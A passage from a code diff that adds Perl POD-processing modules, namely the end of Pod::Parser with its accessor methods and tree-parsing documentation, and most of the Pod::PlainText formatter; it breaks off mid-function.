+=cut
+
+sub errorsub {
+ return (@_ > 1) ? ($_[0]->{_ERRORSUB} = $_[1]) : $_[0]->{_ERRORSUB};
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<cutting()>
+
+ $boolean = $parser->cutting();
+
+Returns the current C<cutting> state: a boolean-valued scalar which
+evaluates to true if text from the input file is currently being "cut"
+(meaning it is I<not> considered part of the POD document).
+
+ $parser->cutting($boolean);
+
+Sets the current C<cutting> state to the given value and returns the
+result.
+
+=cut
+
+sub cutting {
+ return (@_ > 1) ? ($_[0]->{_CUTTING} = $_[1]) : $_[0]->{_CUTTING};
+}
+
+##---------------------------------------------------------------------------
+
+##---------------------------------------------------------------------------
+
+=head1 B<parseopts()>
+
+When invoked with no additional arguments, B<parseopts> returns a hashtable
+of all the current parsing options.
+
+ ## See if we are parsing non-POD sections as well as POD ones
+ my %opts = $parser->parseopts();
+ $opts{'-want_nonPODs}' and print "-want_nonPODs\n";
+
+When invoked using a single string, B<parseopts> treats the string as the
+name of a parse-option and returns its corresponding value if it exists
+(returns C<undef> if it doesn't).
+
+ ## Did we ask to see '=cut' paragraphs?
+ my $want_cut = $parser->parseopts('-process_cut_cmd');
+ $want_cut and print "-process_cut_cmd\n";
+
+When invoked with multiple arguments, B<parseopts> treats them as
+key/value pairs and the specified parse-option names are set to the
+given values. Any unspecified parse-options are unaffected.
+
+ ## Set them back to the default
+ $parser->parseopts(-warnings => 0);
+
+When passed a single hash-ref, B<parseopts> uses that hash to completely
+reset the existing parse-options, all previous parse-option values
+are lost.
+
+ ## Reset all options to default
+ $parser->parseopts( { } );
+
+See L<"PARSING OPTIONS"> for more information on the name and meaning of each
+parse-option currently recognized.
+
+=cut
+
+sub parseopts {
+ local *myData = shift;
+ local *myOpts = ($myData{_PARSEOPTS} ||= {});
+ return %myOpts if (@_ == 0);
+ if (@_ == 1) {
+ local $_ = shift;
+ return ref($_) ? $myData{_PARSEOPTS} = $_ : $myOpts{$_};
+ }
+ my @newOpts = (%myOpts, @_);
+ $myData{_PARSEOPTS} = { @newOpts };
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<output_file()>
+
+ $fname = $parser->output_file();
+
+Returns the name of the output file being written.
+
+=cut
+
+sub output_file {
+ return $_[0]->{_OUTFILE};
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<output_handle()>
+
+ $fhandle = $parser->output_handle();
+
+Returns the output filehandle object.
+
+=cut
+
+sub output_handle {
+ return $_[0]->{_OUTPUT};
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<input_file()>
+
+ $fname = $parser->input_file();
+
+Returns the name of the input file being read.
+
+=cut
+
+sub input_file {
+ return $_[0]->{_INFILE};
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<input_handle()>
+
+ $fhandle = $parser->input_handle();
+
+Returns the current input filehandle object.
+
+=cut
+
+sub input_handle {
+ return $_[0]->{_INPUT};
+}
+
+##---------------------------------------------------------------------------
+
+=begin __PRIVATE__
+
+=head1 B<input_streams()>
+
+ $listref = $parser->input_streams();
+
+Returns a reference to an array which corresponds to the stack of all
+the input streams that are currently in the middle of being parsed.
+
+While parsing an input stream, it is possible to invoke
+B<parse_from_file()> or B<parse_from_filehandle()> to parse a new input
+stream and then return to parsing the previous input stream. Each input
+stream to be parsed is pushed onto the end of this input stack
+before any of its input is read. The input stream that is currently
+being parsed is always at the end (or top) of the input stack. When an
+input stream has been exhausted, it is popped off the end of the
+input stack.
+
+Each element on this input stack is a reference to C<Pod::InputSource>
+object. Please see L<Pod::InputObjects> for more details.
+
+This method might be invoked when printing diagnostic messages, for example,
+to obtain the name and line number of the all input files that are currently
+being processed.
+
+=end __PRIVATE__
+
+=cut
+
+sub input_streams {
+ return $_[0]->{_INPUT_STREAMS};
+}
+
+##---------------------------------------------------------------------------
+
+=begin __PRIVATE__
+
+=head1 B<top_stream()>
+
+ $hashref = $parser->top_stream();
+
+Returns a reference to the hash-table that represents the element
+that is currently at the top (end) of the input stream stack
+(see L<"input_streams()">). The return value will be the C<undef>
+if the input stack is empty.
+
+This method might be used when printing diagnostic messages, for example,
+to obtain the name and line number of the current input file.
+
+=end __PRIVATE__
+
+=cut
+
+sub top_stream {
+ return $_[0]->{_TOP_STREAM} || undef;
+}
+
+#############################################################################
+
+=head1 PRIVATE METHODS AND DATA
+
+B<Pod::Parser> makes use of several internal methods and data fields
+which clients should not need to see or use. For the sake of avoiding
+name collisions for client data and methods, these methods and fields
+are briefly discussed here. Determined hackers may obtain further
+information about them by reading the B<Pod::Parser> source code.
+
+Private data fields are stored in the hash-object whose reference is
+returned by the B<new()> constructor for this class. The names of all
+private methods and data-fields used by B<Pod::Parser> begin with a
+prefix of "_" and match the regular expression C</^_\w+$/>.
+
+=cut
+
+##---------------------------------------------------------------------------
+
+=begin _PRIVATE_
+
+=head1 B<_push_input_stream()>
+
+ $hashref = $parser->_push_input_stream($in_fh,$out_fh);
+
+This method will push the given input stream on the input stack and
+perform any necessary beginning-of-document or beginning-of-file
+processing. The argument C<$in_fh> is the input stream filehandle to
+push, and C<$out_fh> is the corresponding output filehandle to use (if
+it is not given or is undefined, then the current output stream is used,
+which defaults to standard output if it doesnt exist yet).
+
+The value returned will be reference to the hash-table that represents
+the new top of the input stream stack. I<Please Note> that it is
+possible for this method to use default values for the input and output
+file handles. If this happens, you will need to look at the C<INPUT>
+and C<OUTPUT> instance data members to determine their new values.
+
+=end _PRIVATE_
+
+=cut
+
+sub _push_input_stream {
+ my ($self, $in_fh, $out_fh) = @_;
+ local *myData = $self;
+
+ ## Initialize stuff for the entire document if this is *not*
+ ## an included file.
+ ##
+ ## NOTE: we need to be *very* careful when "defaulting" the output
+ ## filehandle. We only want to use a default value if this is the
+ ## beginning of the entire document (but *not* if this is an included
+ ## file).
+ unless (defined $myData{_TOP_STREAM}) {
+ $out_fh = \*STDOUT unless (defined $out_fh);
+ $myData{_CUTTING} = 1; ## current "cutting" state
+ $myData{_INPUT_STREAMS} = []; ## stack of all input streams
+ }
+
+ ## Initialize input indicators
+ $myData{_OUTFILE} = '(unknown)' unless (defined $myData{_OUTFILE});
+ $myData{_OUTPUT} = $out_fh if (defined $out_fh);
+ $in_fh = \*STDIN unless (defined $in_fh);
+ $myData{_INFILE} = '(unknown)' unless (defined $myData{_INFILE});
+ $myData{_INPUT} = $in_fh;
+ my $input_top = $myData{_TOP_STREAM}
+ = new Pod::InputSource(
+ -name => $myData{_INFILE},
+ -handle => $in_fh,
+ -was_cutting => $myData{_CUTTING}
+ );
+ local *input_stack = $myData{_INPUT_STREAMS};
+ push(@input_stack, $input_top);
+
+ ## Perform beginning-of-document and/or beginning-of-input processing
+ $self->begin_pod() if (@input_stack == 1);
+ $self->begin_input();
+
+ return $input_top;
+}
+
+##---------------------------------------------------------------------------
+
+=begin _PRIVATE_
+
+=head1 B<_pop_input_stream()>
+
+ $hashref = $parser->_pop_input_stream();
+
+This takes no arguments. It will perform any necessary end-of-file or
+end-of-document processing and then pop the current input stream from
+the top of the input stack.
+
+The value returned will be reference to the hash-table that represents
+the new top of the input stream stack.
+
+=end _PRIVATE_
+
+=cut
+
+sub _pop_input_stream {
+ my ($self) = @_;
+ local *myData = $self;
+ local *input_stack = $myData{_INPUT_STREAMS};
+
+ ## Perform end-of-input and/or end-of-document processing
+ $self->end_input() if (@input_stack > 0);
+ $self->end_pod() if (@input_stack == 1);
+
+ ## Restore cutting state to whatever it was before we started
+ ## parsing this file.
+ my $old_top = pop(@input_stack);
+ $myData{_CUTTING} = $old_top->was_cutting();
+
+ ## Dont forget to reset the input indicators
+ my $input_top = undef;
+ if (@input_stack > 0) {
+ $input_top = $myData{_TOP_STREAM} = $input_stack[-1];
+ $myData{_INFILE} = $input_top->name();
+ $myData{_INPUT} = $input_top->handle();
+ } else {
+ delete $myData{_TOP_STREAM};
+ delete $myData{_INPUT_STREAMS};
+ }
+
+ return $input_top;
+}
+
+#############################################################################
+
+=head1 TREE-BASED PARSING
+
+If straightforward stream-based parsing wont meet your needs (as is
+likely the case for tasks such as translating PODs into structured
+markup languages like HTML and XML) then you may need to take the
+tree-based approach. Rather than doing everything in one pass and
+calling the B<interpolate()> method to expand sequences into text, it
+may be desirable to instead create a parse-tree using the B<parse_text()>
+method to return a tree-like structure which may contain an ordered
+list of children (each of which may be a text-string, or a similar
+tree-like structure).
+
+Pay special attention to L<"METHODS FOR PARSING AND PROCESSING"> and
+to the objects described in L<Pod::InputObjects>. The former describes
+the gory details and parameters for how to customize and extend the
+parsing behavior of B<Pod::Parser>. B<Pod::InputObjects> provides
+several objects that may all be used interchangeably as parse-trees. The
+most obvious one is the B<Pod::ParseTree> object. It defines the basic
+interface and functionality that all things trying to be a POD parse-tree
+should do. A B<Pod::ParseTree> is defined such that each "node" may be a
+text-string, or a reference to another parse-tree. Each B<Pod::Paragraph>
+object and each B<Pod::InteriorSequence> object also supports the basic
+parse-tree interface.
+
+The B<parse_text()> method takes a given paragraph of text, and
+returns a parse-tree that contains one or more children, each of which
+may be a text-string, or an InteriorSequence object. There are also
+callback-options that may be passed to B<parse_text()> to customize
+the way it expands or transforms interior-sequences, as well as the
+returned result. These callbacks can be used to create a parse-tree
+with custom-made objects (which may or may not support the parse-tree
+interface, depending on how you choose to do it).
+
+If you wish to turn an entire POD document into a parse-tree, that process
+is fairly straightforward. The B<parse_text()> method is the key to doing
+this successfully. Every paragraph-callback (i.e. the polymorphic methods
+for B<command()>, B<verbatim()>, and B<textblock()> paragraphs) takes
+a B<Pod::Paragraph> object as an argument. Each paragraph object has a
+B<parse_tree()> method that can be used to get or set a corresponding
+parse-tree. So for each of those paragraph-callback methods, simply call
+B<parse_text()> with the options you desire, and then use the returned
+parse-tree to assign to the given paragraph object.
+
+That gives you a parse-tree for each paragraph - so now all you need is
+an ordered list of paragraphs. You can maintain that yourself as a data
+element in the object/hash. The most straightforward way would be simply
+to use an array-ref, with the desired set of custom "options" for each
+invocation of B<parse_text>. Let's assume the desired option-set is
+given by the hash C<%options>. Then we might do something like the
+following:
+
+ package MyPodParserTree;
+
+ @ISA = qw( Pod::Parser );
+
+ ...
+
+ sub begin_pod {
+ my $self = shift;
+ $self->{'-paragraphs'} = []; ## initialize paragraph list
+ }
+
+ sub command {
+ my ($parser, $command, $paragraph, $line_num, $pod_para) = @_;
+ my $ptree = $parser->parse_text({%options}, $paragraph, ...);
+ $pod_para->parse_tree( $ptree );
+ push @{ $self->{'-paragraphs'} }, $pod_para;
+ }
+
+ sub verbatim {
+ my ($parser, $paragraph, $line_num, $pod_para) = @_;
+ push @{ $self->{'-paragraphs'} }, $pod_para;
+ }
+
+ sub textblock {
+ my ($parser, $paragraph, $line_num, $pod_para) = @_;
+ my $ptree = $parser->parse_text({%options}, $paragraph, ...);
+ $pod_para->parse_tree( $ptree );
+ push @{ $self->{'-paragraphs'} }, $pod_para;
+ }
+
+ ...
+
+ package main;
+ ...
+ my $parser = new MyPodParserTree(...);
+ $parser->parse_from_file(...);
+ my $paragraphs_ref = $parser->{'-paragraphs'};
+
+Of course, in this module-author's humble opinion, I'd be more inclined to
+use the existing B<Pod::ParseTree> object than a simple array. That way
+everything in it, paragraphs and sequences, all respond to the same core
+interface for all parse-tree nodes. The result would look something like:
+
+ package MyPodParserTree2;
+
+ ...
+
+ sub begin_pod {
+ my $self = shift;
+ $self->{'-ptree'} = new Pod::ParseTree; ## initialize parse-tree
+ }
+
+ sub parse_tree {
+ ## convenience method to get/set the parse-tree for the entire POD
+ (@_ > 1) and $_[0]->{'-ptree'} = $_[1];
+ return $_[0]->{'-ptree'};
+ }
+
+ sub command {
+ my ($parser, $command, $paragraph, $line_num, $pod_para) = @_;
+ my $ptree = $parser->parse_text({<<options>>}, $paragraph, ...);
+ $pod_para->parse_tree( $ptree );
+ $parser->parse_tree()->append( $pod_para );
+ }
+
+ sub verbatim {
+ my ($parser, $paragraph, $line_num, $pod_para) = @_;
+ $parser->parse_tree()->append( $pod_para );
+ }
+
+ sub textblock {
+ my ($parser, $paragraph, $line_num, $pod_para) = @_;
+ my $ptree = $parser->parse_text({<<options>>}, $paragraph, ...);
+ $pod_para->parse_tree( $ptree );
+ $parser->parse_tree()->append( $pod_para );
+ }
+
+ ...
+
+ package main;
+ ...
+ my $parser = new MyPodParserTree2(...);
+ $parser->parse_from_file(...);
+ my $ptree = $parser->parse_tree;
+ ...
+
+Now you have the entire POD document as one great big parse-tree. You
+can even use the B<-expand_seq> option to B<parse_text> to insert
+whole different kinds of objects. Just don't expect B<Pod::Parser>
+to know what to do with them after that. That will need to be in your
+code. Or, alternatively, you can insert any object you like so long as
+it conforms to the B<Pod::ParseTree> interface.
+
+One could use this to create subclasses of B<Pod::Paragraphs> and
+B<Pod::InteriorSequences> for specific commands (or to create your own
+custom node-types in the parse-tree) and add some kind of B<emit()>
+method to each custom node/subclass object in the tree. Then all you'd
+need to do is recursively walk the tree in the desired order, processing
+the children (most likely from left to right) by formatting them if
+they are text-strings, or by calling their B<emit()> method if they
+are objects/references.
+
+=head1 CAVEATS
+
+Please note that POD has the notion of "paragraphs": this is something
+starting I<after> a blank (read: empty) line, with the single exception
+of the file start, which is also starting a paragraph. That means that
+especially a command (e.g. C<=head1>) I<must> be preceded with a blank
+line; C<__END__> is I<not> a blank line.
+
+=head1 SEE ALSO
+
+L<Pod::InputObjects>, L<Pod::Select>
+
+B<Pod::InputObjects> defines POD input objects corresponding to
+command paragraphs, parse-trees, and interior-sequences.
+
+B<Pod::Select> is a subclass of B<Pod::Parser> which provides the ability
+to selectively include and/or exclude sections of a POD document from being
+translated based upon the current heading, subheading, subsubheading, etc.
+
+=for __PRIVATE__
+B<Pod::Callbacks> is a subclass of B<Pod::Parser> which gives its users
+the ability the employ I<callback functions> instead of, or in addition
+to, overriding methods of the base class.
+
+=for __PRIVATE__
+B<Pod::Select> and B<Pod::Callbacks> do not override any
+methods nor do they define any new methods with the same name. Because
+of this, they may I<both> be used (in combination) as a base class of
+the same subclass in order to combine their functionality without
+causing any namespace clashes due to multiple inheritance.
+
+=head1 AUTHOR
+
+Please report bugs using L<http://rt.cpan.org>.
+
+Brad Appleton E<lt>bradapp@enteract.comE<gt>
+
+Based on code for B<Pod::Text> written by
+Tom Christiansen E<lt>tchrist@mox.perl.comE<gt>
+
+=head1 LICENSE
+
+Pod-Parser is free software; you can redistribute it and/or modify it
+under the terms of the Artistic License distributed with Perl version
+5.000 or (at your option) any later version. Please refer to the
+Artistic License that came with your Perl distribution for more
+details. If your version of Perl was not distributed under the
+terms of the Artistic License, than you may distribute PodParser
+under the same terms as Perl itself.
+
+=cut
+
+1;
+# vim: ts=4 sw=4 et
diff --git a/gnu/usr.bin/perl/cpan/Pod-Usage/t/inc/Pod/PlainText.pm b/gnu/usr.bin/perl/cpan/Pod-Usage/t/inc/Pod/PlainText.pm
new file mode 100644
index 00000000000..e8dc001dff9
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Pod-Usage/t/inc/Pod/PlainText.pm
@@ -0,0 +1,744 @@
+# Pod::PlainText -- Convert POD data to formatted ASCII text.
+# $Id: Text.pm,v 2.1 1999/09/20 11:53:33 eagle Exp $
+#
+# Copyright 1999-2000 by Russ Allbery <rra@stanford.edu>
+#
+# This program is free software; you can redistribute it and/or modify it
+# under the same terms as Perl itself.
+#
+# This module is intended to be a replacement for Pod::Text, and attempts to
+# match its output except for some specific circumstances where other
+# decisions seemed to produce better output. It uses Pod::Parser and is
+# designed to be very easy to subclass.
+
+############################################################################
+# Modules and declarations
+############################################################################
+
+package Pod::PlainText;
+use strict;
+
+require 5.005;
+
+use Carp qw(carp croak);
+use Pod::Select ();
+
+use vars qw(@ISA %ESCAPES $VERSION);
+
+# We inherit from Pod::Select instead of Pod::Parser so that we can be used
+# by Pod::Usage.
+@ISA = qw(Pod::Select);
+
+$VERSION = '2.06';
+
+BEGIN {
+ if ($] < 5.006) {
+ require Symbol;
+ import Symbol;
+ }
+}
+
+############################################################################
+# Table of supported E<> escapes
+############################################################################
+
+# This table is taken near verbatim from Pod::PlainText in Pod::Parser,
+# which got it near verbatim from the original Pod::Text. It is therefore
+# credited to Tom Christiansen, and I'm glad I didn't have to write it. :)
+%ESCAPES = (
+ 'amp' => '&', # ampersand
+ 'lt' => '<', # left chevron, less-than
+ 'gt' => '>', # right chevron, greater-than
+ 'quot' => '"', # double quote
+
+ "Aacute" => "\xC1", # capital A, acute accent
+ "aacute" => "\xE1", # small a, acute accent
+ "Acirc" => "\xC2", # capital A, circumflex accent
+ "acirc" => "\xE2", # small a, circumflex accent
+ "AElig" => "\xC6", # capital AE diphthong (ligature)
+ "aelig" => "\xE6", # small ae diphthong (ligature)
+ "Agrave" => "\xC0", # capital A, grave accent
+ "agrave" => "\xE0", # small a, grave accent
+ "Aring" => "\xC5", # capital A, ring
+ "aring" => "\xE5", # small a, ring
+ "Atilde" => "\xC3", # capital A, tilde
+ "atilde" => "\xE3", # small a, tilde
+ "Auml" => "\xC4", # capital A, dieresis or umlaut mark
+ "auml" => "\xE4", # small a, dieresis or umlaut mark
+ "Ccedil" => "\xC7", # capital C, cedilla
+ "ccedil" => "\xE7", # small c, cedilla
+ "Eacute" => "\xC9", # capital E, acute accent
+ "eacute" => "\xE9", # small e, acute accent
+ "Ecirc" => "\xCA", # capital E, circumflex accent
+ "ecirc" => "\xEA", # small e, circumflex accent
+ "Egrave" => "\xC8", # capital E, grave accent
+ "egrave" => "\xE8", # small e, grave accent
+ "ETH" => "\xD0", # capital Eth, Icelandic
+ "eth" => "\xF0", # small eth, Icelandic
+ "Euml" => "\xCB", # capital E, dieresis or umlaut mark
+ "euml" => "\xEB", # small e, dieresis or umlaut mark
+ "Iacute" => "\xCD", # capital I, acute accent
+ "iacute" => "\xED", # small i, acute accent
+ "Icirc" => "\xCE", # capital I, circumflex accent
+ "icirc" => "\xEE", # small i, circumflex accent
+ "Igrave" => "\xCD", # capital I, grave accent
+ "igrave" => "\xED", # small i, grave accent
+ "Iuml" => "\xCF", # capital I, dieresis or umlaut mark
+ "iuml" => "\xEF", # small i, dieresis or umlaut mark
+ "Ntilde" => "\xD1", # capital N, tilde
+ "ntilde" => "\xF1", # small n, tilde
+ "Oacute" => "\xD3", # capital O, acute accent
+ "oacute" => "\xF3", # small o, acute accent
+ "Ocirc" => "\xD4", # capital O, circumflex accent
+ "ocirc" => "\xF4", # small o, circumflex accent
+ "Ograve" => "\xD2", # capital O, grave accent
+ "ograve" => "\xF2", # small o, grave accent
+ "Oslash" => "\xD8", # capital O, slash
+ "oslash" => "\xF8", # small o, slash
+ "Otilde" => "\xD5", # capital O, tilde
+ "otilde" => "\xF5", # small o, tilde
+ "Ouml" => "\xD6", # capital O, dieresis or umlaut mark
+ "ouml" => "\xF6", # small o, dieresis or umlaut mark
+ "szlig" => "\xDF", # small sharp s, German (sz ligature)
+ "THORN" => "\xDE", # capital THORN, Icelandic
+ "thorn" => "\xFE", # small thorn, Icelandic
+ "Uacute" => "\xDA", # capital U, acute accent
+ "uacute" => "\xFA", # small u, acute accent
+ "Ucirc" => "\xDB", # capital U, circumflex accent
+ "ucirc" => "\xFB", # small u, circumflex accent
+ "Ugrave" => "\xD9", # capital U, grave accent
+ "ugrave" => "\xF9", # small u, grave accent
+ "Uuml" => "\xDC", # capital U, dieresis or umlaut mark
+ "uuml" => "\xFC", # small u, dieresis or umlaut mark
+ "Yacute" => "\xDD", # capital Y, acute accent
+ "yacute" => "\xFD", # small y, acute accent
+ "yuml" => "\xFF", # small y, dieresis or umlaut mark
+
+ "lchevron" => "\xAB", # left chevron (double less than)
+ "rchevron" => "\xBB", # right chevron (double greater than)
+);
+
+
+############################################################################
+# Initialization
+############################################################################
+
+# Initialize the object. Must be sure to call our parent initializer.
+sub initialize {
+ my $self = shift;
+
+ $$self{alt} = 0 unless defined $$self{alt};
+ $$self{indent} = 4 unless defined $$self{indent};
+ $$self{loose} = 0 unless defined $$self{loose};
+ $$self{sentence} = 0 unless defined $$self{sentence};
+ $$self{width} = 76 unless defined $$self{width};
+
+ $$self{INDENTS} = []; # Stack of indentations.
+ $$self{MARGIN} = $$self{indent}; # Current left margin in spaces.
+
+ return $self->SUPER::initialize;
+}
+
+
+############################################################################
+# Core overrides
+############################################################################
+
+# Called for each command paragraph. Gets the command, the associated
+# paragraph, the line number, and a Pod::Paragraph object. Just dispatches
+# the command to a method named the same as the command. =cut is handled
+# internally by Pod::Parser.
+sub command {
+ my $self = shift;
+ my $command = shift;
+ return if $command eq 'pod';
+ return if ($$self{EXCLUDE} && $command ne 'end');
+ if (defined $$self{ITEM}) {
+ $self->item ("\n");
+ local $_ = "\n";
+ $self->output($_) if($command eq 'back');
+ }
+ $command = 'cmd_' . $command;
+ return $self->$command (@_);
+}
+
+# Called for a verbatim paragraph. Gets the paragraph, the line number, and
+# a Pod::Paragraph object. Just output it verbatim, but with tabs converted
+# to spaces.
+sub verbatim {
+ my $self = shift;
+ return if $$self{EXCLUDE};
+ $self->item if defined $$self{ITEM};
+ local $_ = shift;
+ return if /^\s*$/;
+ s/^(\s*\S+)/(' ' x $$self{MARGIN}) . $1/gme;
+ return $self->output($_);
+}
+
+# Called for a regular text block. Gets the paragraph, the line number, and
+# a Pod::Paragraph object. Perform interpolation and output the results.
+sub textblock {
+ my $self = shift;
+ return if $$self{EXCLUDE};
+ if($$self{VERBATIM}) {
+ $self->output($_[0]);
+ return;
+ }
+ local $_ = shift;
+ my $line = shift;
+
+ # Perform a little magic to collapse multiple L<> references. This is
+ # here mostly for backwards-compatibility. We'll just rewrite the whole
+ # thing into actual text at this part, bypassing the whole internal
+ # sequence parsing thing.
+ s{
+ (
+ L< # A link of the form L</something>.
+ /
+ (
+ [:\w]+ # The item has to be a simple word...
+ (\(\))? # ...or simple function.
+ )
+ >
+ (
+ ,?\s+(and\s+)? # Allow lots of them, conjuncted.
+ L<
+ /
+ (
+ [:\w]+
+ (\(\))?
+ )
+ >
+ )+
+ )
+ } {
+ local $_ = $1;
+ s%L</([^>]+)>%$1%g;
+ my @items = split /(?:,?\s+(?:and\s+)?)/;
+ my $string = "the ";
+ my $i;
+ for ($i = 0; $i < @items; $i++) {
+ $string .= $items[$i];
+ $string .= ", " if @items > 2 && $i != $#items;
+ $string .= " and " if ($i == $#items - 1);
+ }
+ $string .= " entries elsewhere in this document";
+ $string;
+ }gex;
+
+ # Now actually interpolate and output the paragraph.
+ $_ = $self->interpolate ($_, $line);
+ s/\s*$/\n/s;
+ if (defined $$self{ITEM}) {
+ $self->item ($_ . "\n");
+ } else {
+ $self->output ($self->reformat ($_ . "\n"));
+ }
+}
+
+# Called for an interior sequence. Gets the command, argument, and a
+# Pod::InteriorSequence object and is expected to return the resulting text.
+# Calls code, bold, italic, file, and link to handle those types of
+# sequences, and handles S<>, E<>, X<>, and Z<> directly.
+sub interior_sequence {
+ my $self = shift;
+ my $command = shift;
+ local $_ = shift;
+ return '' if ($command eq 'X' || $command eq 'Z');
+
+ # Expand escapes into the actual character now, carping if invalid.
+ if ($command eq 'E') {
+ return $ESCAPES{$_} if defined $ESCAPES{$_};
+ carp "Unknown escape: E<$_>";
+ return "E<$_>";
+ }
+
+ # For all the other sequences, empty content produces no output.
+ return if $_ eq '';
+
+ # For S<>, compress all internal whitespace and then map spaces to \01.
+ # When we output the text, we'll map this back.
+ if ($command eq 'S') {
+ s/\s{2,}/ /g;
+ tr/ /\01/;
+ return $_;
+ }
+
+ # Anything else needs to get dispatched to another method.
+ if ($command eq 'B') { return $self->seq_b ($_) }
+ elsif ($command eq 'C') { return $self->seq_c ($_) }
+ elsif ($command eq 'F') { return $self->seq_f ($_) }
+ elsif ($command eq 'I') { return $self->seq_i ($_) }
+ elsif ($command eq 'L') { return $self->seq_l ($_) }
+ else { carp "Unknown sequence $command<$_>" }
+}
+
+# Called for each paragraph that's actually part of the POD. We take
+# advantage of this opportunity to untabify the input.
+sub preprocess_paragraph {
+ my $self = shift;
+ local $_ = shift;
+ 1 while s/^(.*?)(\t+)/$1 . ' ' x (length ($2) * 8 - length ($1) % 8)/me;
+ return $_;
+}
+
+
+############################################################################
+# Command paragraphs
+############################################################################
+
+# All command paragraphs take the paragraph and the line number.
+
+# First level heading.
+sub cmd_head1 {
+ my $self = shift;
+ local $_ = shift;
+ s/\s+$//s;
+ $_ = $self->interpolate ($_, shift);
+ if ($$self{alt}) {
+ $self->output ("\n==== $_ ====\n\n");
+ } else {
+ $_ .= "\n" if $$self{loose};
+ $self->output ($_ . "\n");
+ }
+}
+
+# Second level heading.
+sub cmd_head2 {
+ my $self = shift;
+ local $_ = shift;
+ s/\s+$//s;
+ $_ = $self->interpolate ($_, shift);
+ if ($$self{alt}) {
+ $self->output ("\n== $_ ==\n\n");
+ } else {
+ $_ .= "\n" if $$self{loose};
+ $self->output (' ' x ($$self{indent} / 2) . $_ . "\n");
+ }
+}
+
+# third level heading - not strictly perlpodspec compliant
+sub cmd_head3 {
+ my $self = shift;
+ local $_ = shift;
+ s/\s+$//s;
+ $_ = $self->interpolate ($_, shift);
+ if ($$self{alt}) {
+ $self->output ("\n= $_ =\n");
+ } else {
+ $_ .= "\n" if $$self{loose};
+ $self->output (' ' x ($$self{indent}) . $_ . "\n");
+ }
+}
+
+# fourth level heading - not strictly perlpodspec compliant
+# just like head3
+*cmd_head4 = \&cmd_head3;
+
+# Start a list.
+sub cmd_over {
+ my $self = shift;
+ local $_ = shift;
+ unless (/^[-+]?\d+\s+$/) { $_ = $$self{indent} }
+ push (@{ $$self{INDENTS} }, $$self{MARGIN});
+ $$self{MARGIN} += ($_ + 0);
+}
+
+# End a list.
+sub cmd_back {
+ my $self = shift;
+ $$self{MARGIN} = pop @{ $$self{INDENTS} };
+ unless (defined $$self{MARGIN}) {
+ carp 'Unmatched =back';
+ $$self{MARGIN} = $$self{indent};
+ }
+}
+
+# An individual list item.
+sub cmd_item {
+ my $self = shift;
+ if (defined $$self{ITEM}) { $self->item }
+ local $_ = shift;
+ s/\s+$//s;
+ $$self{ITEM} = $self->interpolate ($_);
+}
+
+# Begin a block for a particular translator. Setting VERBATIM triggers
+# special handling in textblock().
+sub cmd_begin {
+ my $self = shift;
+ local $_ = shift;
+ my ($kind) = /^(\S+)/ or return;
+ if ($kind eq 'text') {
+ $$self{VERBATIM} = 1;
+ } else {
+ $$self{EXCLUDE} = 1;
+ }
+}
+
+# End a block for a particular translator. We assume that all =begin/=end
+# pairs are properly closed.
+sub cmd_end {
+ my $self = shift;
+ $$self{EXCLUDE} = 0;
+ $$self{VERBATIM} = 0;
+}
+
+# One paragraph for a particular translator. Ignore it unless it's intended
+# for text, in which case we treat it as a verbatim text block.
+sub cmd_for {
+ my $self = shift;
+ local $_ = shift;
+ my $line = shift;
+ return unless s/^text\b[ \t]*\r?\n?//;
+ $self->verbatim ($_, $line);
+}
+
+# just a dummy method for the time being
+sub cmd_encoding {
+ return;
+}
+
+############################################################################
+# Interior sequences
+############################################################################
+
+# The simple formatting ones. These are here mostly so that subclasses can
+# override them and do more complicated things.
+sub seq_b { return $_[0]{alt} ? "``$_[1]''" : $_[1] }
+sub seq_c { return $_[0]{alt} ? "``$_[1]''" : "`$_[1]'" }
+sub seq_f { return $_[0]{alt} ? "\"$_[1]\"" : $_[1] }
+sub seq_i { return '*' . $_[1] . '*' }
+
+# The complicated one. Handle links. Since this is plain text, we can't
+# actually make any real links, so this is all to figure out what text we
+# print out.
+sub seq_l {
+ my $self = shift;
+ local $_ = shift;
+
+ # Smash whitespace in case we were split across multiple lines.
+ s/\s+/ /g;
+
+ # If we were given any explicit text, just output it.
+ if (/^([^|]+)\|/) { return $1 }
+
+ # Okay, leading and trailing whitespace isn't important; get rid of it.
+ s/^\s+//;
+ s/\s+$//;
+
+ # Default to using the whole content of the link entry as a section
+ # name. Note that L<manpage/> forces a manpage interpretation, as does
+ # something looking like L<manpage(section)>. The latter is an
+ # enhancement over the original Pod::Text.
+ my ($manpage, $section) = ('', $_);
+ if (/^(?:https?|ftp|news):/) {
+ # a URL
+ return $_;
+ } elsif (/^"\s*(.*?)\s*"$/) {
+ $section = '"' . $1 . '"';
+ } elsif (m/^[-:.\w]+(?:\(\S+\))?$/) {
+ ($manpage, $section) = ($_, '');
+ } elsif (m{/}) {
+ ($manpage, $section) = split (/\s*\/\s*/, $_, 2);
+ }
+
+ my $text = '';
+ # Now build the actual output text.
+ if (!length $section) {
+ $text = "the $manpage manpage" if length $manpage;
+ } elsif ($section =~ /^[:\w]+(?:\(\))?/) {
+ $text .= 'the ' . $section . ' entry';
+ $text .= (length $manpage) ? " in the $manpage manpage"
+ : ' elsewhere in this document';
+ } else {
+ $section =~ s/^\"\s*//;
+ $section =~ s/\s*\"$//;
+ $text .= 'the section on "' . $section . '"';
+ $text .= " in the $manpage manpage" if length $manpage;
+ }
+ return $text;
+}
+
+
+############################################################################
+# List handling
+############################################################################
+
+# This method is called whenever an =item command is complete (in other
+# words, we've seen its associated paragraph or know for certain that it
+# doesn't have one). It gets the paragraph associated with the item as an
+# argument. If that argument is empty, just output the item tag; if it
+# contains a newline, output the item tag followed by the newline.
+# Otherwise, see if there's enough room for us to output the item tag in the
+# margin of the text or if we have to put it on a separate line.
+sub item {
+ my $self = shift;
+ local $_ = shift;
+ my $tag = $$self{ITEM};
+ unless (defined $tag) {
+ carp 'item called without tag';
+ return;
+ }
+ undef $$self{ITEM};
+ my $indent = $$self{INDENTS}[-1];
+ unless (defined $indent) { $indent = $$self{indent} }
+ my $space = ' ' x $indent;
+ $space =~ s/^ /:/ if $$self{alt};
+ if (!$_ || /^\s+$/ || ($$self{MARGIN} - $indent < length ($tag) + 1)) {
+ my $margin = $$self{MARGIN};
+ $$self{MARGIN} = $indent;
